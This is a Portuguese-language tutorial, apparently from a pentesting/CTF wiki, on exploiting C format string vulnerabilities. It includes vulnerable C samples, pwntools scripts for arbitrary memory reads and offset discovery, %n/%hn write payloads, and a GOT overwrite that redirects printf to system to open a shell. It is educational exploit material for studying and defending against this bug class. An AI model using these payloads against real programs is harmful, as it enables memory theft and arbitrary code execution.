Format Strings

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Basic Information

Em C printf é uma função que pode ser usada para imprimir alguma string. O primeiro parâmetro que esta função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores do texto bruto.

Outras funções vulneráveis são sprintf() e fprintf().

A vulnerabilidade aparece quando um texto de atacante é usado como o primeiro argumento para esta função. O atacante será capaz de criar uma entrada especial abusando das capacidades da string de formato printf para ler e escrever qualquer dado em qualquer endereço (legível/escrevível). Sendo capaz assim de executar código arbitrário.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Exemplos:

• Exemplo vulnerável:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.

• Uso Normal:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5

• Com Argumentos Faltando:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

• fprintf vulnerável:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Acessando Ponteiros

O formato %<n>$x, onde n é um número, permite indicar ao printf para selecionar o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:

printf("%x %x %x %x")

e você leria do primeiro ao quarto parâmetro.

Ou você poderia fazer:

printf("%4$x")

e leia diretamente o quarto.

Observe que o atacante controla o parâmetro printf, o que basicamente significa que sua entrada estará na pilha quando printf for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.

Leitura Arbitrária

É possível usar o formatador %n$s para fazer com que printf obtenha o endereço situado na n posição, seguindo-o e imprimí-lo como se fosse uma string (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for 0x8048000, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Encontrar offset

Para encontrar o offset da sua entrada, você pode enviar 4 ou 8 bytes (0x41414141) seguidos de %1$x e aumentar o valor até recuperar os A's.

# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Quão útil

Leituras arbitrárias podem ser úteis para:

• Despejar o binário da memória
• Acessar partes específicas da memória onde informações sensíveis são armazenadas (como canários, chaves de criptografia ou senhas personalizadas, como neste desafio CTF)

Escrita Arbitrária

O formatador %<num>$n escreve o número de bytes escritos no endereço indicado no parâmetro <num> na pilha. Se um atacante puder escrever quantos caracteres quiser com printf, ele será capaz de fazer %<num>$n escrever um número arbitrário em um endereço arbitrário.

Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada; para isso, é possível usar o formatador %.<num-write>%<num>$n para escrever o número <num-write> no endereço apontado pela posição num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

No entanto, note que geralmente, para escrever um endereço como 0x08049724 (que é um NÚMERO ENORME para escrever de uma vez), usa-se $hn em vez de $n. Isso permite escrever apenas 2 Bytes. Portanto, essa operação é realizada duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.

Portanto, essa vulnerabilidade permite escrever qualquer coisa em qualquer endereço (escrita arbitrária).

Neste exemplo, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec:

Write What Where 2 Exec

Vamos sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system.
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você primeiro escreve 2Bytes do endereço e depois os outros 2. Para isso, $hn é usado.

• HOB é chamado para os 2 bytes mais altos do endereço
• LOB é chamado para os 2 bytes mais baixos do endereço

Então, por causa de como a string de formato funciona, você precisa escrever primeiro o menor de [HOB, LOB] e depois o outro.

Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Modelo Pwntools

Você pode encontrar um modelo para preparar um exploit para esse tipo de vulnerabilidade em:

Format Strings Template

Ou este exemplo básico de aqui:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Strings de Formato para BOF

É possível abusar das ações de escrita de uma vulnerabilidade de string de formato para escrever em endereços da pilha e explorar um tipo de vulnerabilidade de buffer overflow.

Outros Exemplos & Referências

• https://ir0nstone.gitbook.io/notes/types/stack/format-string
• https://www.youtube.com/watch?v=t1LH9D5cuK4
• https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
• https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
• 32 bits, sem relro, sem canário, nx, sem pie, uso básico de strings de formato para vazar a flag da pilha (sem necessidade de alterar o fluxo de execução)
• https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
• 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço fflush com a função win (ret2win)
• https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
• 32 bits, relro, sem canário, nx, sem pie, string de formato para escrever um endereço dentro de main em .fini_array (para que o fluxo retorne mais uma vez) e escrever o endereço para system na tabela GOT apontando para strlen. Quando o fluxo voltar para main, strlen é executado com a entrada do usuário e apontando para system, ele executará os comandos passados.